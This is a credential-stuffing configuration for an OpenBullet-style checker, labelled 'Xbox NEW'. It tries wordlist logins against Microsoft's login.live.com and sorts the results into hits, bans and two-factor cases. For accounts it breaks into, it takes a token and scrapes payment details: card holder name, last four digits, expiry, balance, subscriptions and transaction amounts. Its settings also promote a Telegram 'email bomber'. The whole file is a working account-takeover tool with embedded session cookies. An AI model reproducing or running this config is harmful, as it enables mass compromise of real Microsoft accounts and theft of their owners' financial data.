[SETTINGS]

{
"Name": "Xbox NEW",
"SuggestedBots": 50,
"MaxCPM": 0,
"LastModified": "2024-01-18T14:23:48.6796965-05:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "",
"Version": "1.1.2 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [
{
"Description": "Join https://t.me/EmailBomberV3 to use the FREE EMAIL
BOMBER",
"VariableName": "",
"Id": 505873283
}
],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"AcceptInsecureCertificates": true,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": "",
"Title": "xboxbrr",
"IconPath": "Icon\\svbfile.ico",
"LicenseSource": null,
"Message": null,
"MessageColor": "#FFFFFFFF",
"HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
"AuthorColor": "#FFFFB266",
"WordlistColor": "#FFB5C2E1",
"BotsColor": "#FFA8FFFF",
"CustomInputColor": "#FFD6C7C7",
 "CPMColor": "#FFFFFFFF",
"ProgressColor": "#FFAD93E3",
"HitsColor": "#FF66FF66",
"CustomColor": "#FFFFB266",
"ToCheckColor": "#FF7FFFD4",
"FailsColor": "#FFFF3333",
"RetriesColor": "#FFFFFF99",
"OcrRateColor": "#FF4698FD",
"ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
REQUEST POST "https://login.live.com/ppsecure/post.srf?
client_id=0000000048170EF2&redirect_uri=https%3A%2F%2Flogin.live.com
%2Foauth20_desktop.srf&response_type=token&scope=service%3A%3Aoutlook.office.com%3A
%3AMBI_SSL&display=touch&username=ashleypetty
%40outlook.com&contextid=2CCDB02DC526CA71&bk=1665024852&uaid=a5b22c26bc704002ac3094
62e8d061bb&pid=15216"
CONTENT
"i13=1&login=<USER>&loginfmt=<USER>&type=11&LoginOptions=1&lrt=&lrtPartition=&hisRe
gion=&hisScaleUnit=&passwd=<PASS>&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=
&canary=&ctx=&hpgrequestid=&PPFT=DUVD66h
%21%214HoXIbKjn000ZGJKO1p18njhrsHcoKRvak5LHBzMd1JFGEphEtdX70prBYfw9DpxPUypooZTmCCZq
8nG7plPwo2mQBvuJr2QzynRopNlcY0Kndww9DNP7xTtP9E6nbJTkUE2zT*R6kFw7uu06RWq4BjG8Wo792Ob
NHtJAwxS2NfDxrccipqE%212zXAFqhBFcyCNidOqtBqnqKUE
%24&PPSX=Passp&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupport
ed=0&isSignupPost=0&i19=41679"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Host: login.live.com"
HEADER "Connection: keep-alive"
HEADER "Content-Length: 574"
HEADER "Cache-Control: max-age=0"
HEADER "Upgrade-Insecure-Requests: 1"
HEADER "Origin: https://login.live.com"
HEADER "Content-Type: application/x-www-form-urlencoded"
HEADER "User-Agent: Mozilla/5.0 (Linux; Android 9; SM-G9880
Build/PQ3A.190705.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/91.0.4472.114 Safari/537.36"
HEADER "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
HEADER "X-Requested-With: com.microsoft.office.outlook"
HEADER "Sec-Fetch-Site: same-origin"
HEADER "Sec-Fetch-Mode: navigate"
HEADER "Sec-Fetch-User: ?1"
HEADER "Sec-Fetch-Dest: document"
HEADER "Referer: https://login.live.com/oauth20_authorize.srf?
client_id=0000000048170EF2&redirect_uri=https%3A%2F%2Flogin.live.com
%2Foauth20_desktop.srf&response_type=token&scope=service%3A%3Aoutlook.office.com%3A
%3AMBI_SSL&uaid=a5b22c26bc704002ac309462e8d061bb&display=touch&username=ashleypetty
%40outlook.com"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Accept-Language: en-US,en;q=0.9"
HEADER "Cookie: MSPRequ=id=N&lt=1665024852&co=1;
uaid=a5b22c26bc704002ac309462e8d061bb;
RefreshTokenSso=DXCaJOtPG*BlXEHzcgRDqE07fauJ1A1kX*6XyoYoJYnh6VaFpWKvnDU9a9gcpqoNxNd
QgHNS9VZG*5hmg2erN27L10IP*WsWKKpLigD53vPiogiSPdJAr3O0gjmfcQfz6f0OyEg2aZZgntPFoQQGsN
Q$; OParams=11O.DXVHPEaTdwhBRrUxAksZtejMR5GXGxhF6!
8Hxy8VRkYjMiABstaKcULDTzLksggYZ*hhf7tHkwgO5naj*qAriJtE0iCytvLQOAYM8kgF3ZvgwPzvuOREt
prcqZE3clxF*EV1kmT9zz0f8355KdPZeV1sU9kTsgn5aO3oY2JP0HGtOpXdP9dHvqAI6qhewBM5DlIdsRpS
XS6fyCe6mbG7DjUIZ1BEd!7AUDxP48LC1RMYjnDvhBzq!on5FTEhBRqKYt9j0dDLn2GJGswk!
wN*njZSNtxGZBhwJJ9fVfGpciT2amDnxk!l3tNqvC*hfp6PTe2S4oxFSN!4eI6A4c!
xO79Zs0AY0GSqe4aTBT8YdIECZAE9NBa67FlVvcRXyIi0mzLYBVqtEFTYsyYjTSnLhcMlnpbcH3Yv5gVCFQ
EgmfkrEAt4Ks5cyBTD7XWqBCsCJQ$$; MSPOK=$uuid-d7ee354f-b458-46dc-9b33-6f8663109932;
wlidperf=FR=L&ST=1665024898546"

#KEY_CHECEK KEYCHECK BanOnToCheck=FALSE

KEYCHAIN Failure AND
KEY "Your account or password is incorrect."
KEY "That Microsoft account doesn\\'t exist. Enter a different account"
KEY "Sign in to your Microsoft account"
KEYCHAIN Ban OR
KEY ",AC:null,urlFedConvertRename"
KEYCHAIN Failure OR
KEY "timed out"
KEYCHAIN Success OR
KEY "<COOKIES>" Contains "ANON"
KEY "<COOKIES>" Contains "WLSSC"
KEY "<ADDRESS>" Contains "https://login.live.com/oauth20_desktop.srf?"
KEYCHAIN Custom "2FACTOR" OR
KEY "account.live.com/recover?mkt"
KEY "recover?mkt"
KEY "account.live.com/identity/confirm?mkt"
KEYCHAIN Custom "2FACTOR" OR
KEY "Email/Confirm?mkt"
KEYCHAIN Custom "CUSTOM" OR
KEY "/cancel?mkt="
KEYCHAIN Custom "CUSTOM" OR
KEY "/Abuse?mkt="

#KEY_CHECEK KEYCHECK BanOnToCheck=FALSE

KEYCHAIN Failure AND
KEY "Sign in to your Microsoft account"
KEYCHAIN Ban OR
KEY ",AC:null,urlFedConvertRename"
KEYCHAIN Success OR
KEY "<COOKIES>" Contains "ANON"
KEY "<COOKIES>" Contains "WLSSC"
KEY "<ADDRESS>" Contains "https://login.live.com/oauth20_desktop.srf?"
KEYCHAIN Custom "2FACTOR" OR
KEY "account.live.com/recover?mkt"
KEY "recover?mkt"
KEY "account.live.com/identity/confirm?mkt"

#Get REQUEST GET "https://login.live.com/oauth20_authorize.srf?

client_id=000000000004773A&response_type=token&scope=PIFD.Read+PIFD.Create+PIFD.Upd
ate+PIFD.Delete&redirect_uri=https%3A%2F%2Faccount.microsoft.com%2Fauth%2Fcomplete-
silent-delegate-auth&state=%7B%22userId%22%3A%22bf3383c9b44aa8c9%22%2C%22scopeSet
%22%3A%22pidl%22%7D&prompt=none"

HEADER "Host: login.live.com"

HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0"
HEADER "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
HEADER "Accept-Language: en-US,en;q=0.5"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Connection: close"
 HEADER "Referer: https://account.microsoft.com/"

#Token PARSE "<ADDRESS>" LR "access_token=" "&token_type" -> VAR "Token"

#urlDecode FUNCTION URLDecode "<Token>" -> VAR "urlDecode"

#payement REQUEST GET

"https://paymentinstruments.mp.microsoft.com/v6.0/users/me/paymentInstrumentsEx?
status=active,removed&language=en-US"

HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
HEADER "Pragma: no-cache"
HEADER "Accept: application/json"
HEADER "Accept-Encoding: gzip, deflate, br"
HEADER "Accept-Language: en-US,en;q=0.9"
HEADER "Authorization: MSADELEGATE1.0=\"<Token>\""
HEADER "Connection: keep-alive"
HEADER "Content-Type: application/json"
HEADER "Host: paymentinstruments.mp.microsoft.com"
HEADER "ms-cV: FbMB+cD6byLL1mn4W/NuGH.2"
HEADER "Origin: https://account.microsoft.com"
HEADER "Referer: https://account.microsoft.com/"
HEADER "Sec-Fetch-Dest: empty"
HEADER "Sec-Fetch-Mode: cors"
HEADER "Sec-Fetch-Site: same-site"
HEADER "Sec-GPC: 1"

#balance PARSE "<SOURCE>" LR "balance\":" ",\"" CreateEmpty=FALSE -> CAP "Balance"

"" "$"

#card PARSE "<SOURCE>" LR "paymentMethodFamily\":\"credit_card\",\"display\":

{\"name\":\"" "\"" CreateEmpty=FALSE -> CAP "CreditCard"

#accountHolderName PARSE "<SOURCE>" LR "accountHolderName\":\"" "\",\""

CreateEmpty=FALSE -> CAP "AccountHolderName"

#lastFourDigits PARSE "<SOURCE>" LR "lastFourDigits\":\"" "\"," CreateEmpty=FALSE -

> CAP "LastFourDigits"

#expiryMonth PARSE "<SOURCE>" LR "expiryMonth\":\"" "\"," CreateEmpty=FALSE -> CAP

"ExpiryMonth"

#expiryYear PARSE "<SOURCE>" LR "expiryYear\":\"" "\"," CreateEmpty=FALSE -> CAP

"ExpiryYear"

#country PARSE "<SOURCE>" LR "country\":\"" "\"}" CreateEmpty=FALSE -> CAP

"Country"

#pay REQUEST GET

"https://paymentinstruments.mp.microsoft.com/v6.0/users/me/paymentTransactions"

HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36"
HEADER "Pragma: no-cache"
HEADER "Accept: application/json"
HEADER "Accept-Encoding: gzip, deflate, br"
HEADER "Accept-Language: en-US,en;q=0.9"
HEADER "Authorization: MSADELEGATE1.0=\"<Token>\""
 HEADER "Connection: keep-alive"
HEADER "Content-Type: application/json"
HEADER "Host: paymentinstruments.mp.microsoft.com"
HEADER "ms-cV: FbMB+cD6byLL1mn4W/NuGH.2"
HEADER "Origin: https://account.microsoft.com"
HEADER "Referer: https://account.microsoft.com/"
HEADER "Sec-Fetch-Dest: empty"
HEADER "Sec-Fetch-Mode: cors"
HEADER "Sec-Fetch-Site: same-site"
HEADER "Sec-GPC: 1"

#subscription PARSE "<SOURCE>" LR "title\":\"" "\"," CreateEmpty=FALSE -> CAP

"Subscription"

#quantity PARSE "<SOURCE>" LR "quantity\":" ",\"" CreateEmpty=FALSE -> CAP

"quantity"

#description PARSE "<SOURCE>" LR "description\":\"" "\"," CreateEmpty=FALSE -> CAP

"description"

#amount PARSE "<SOURCE>" LR "totalAmount\":" ",\"" CreateEmpty=FALSE -> CAP

"amount"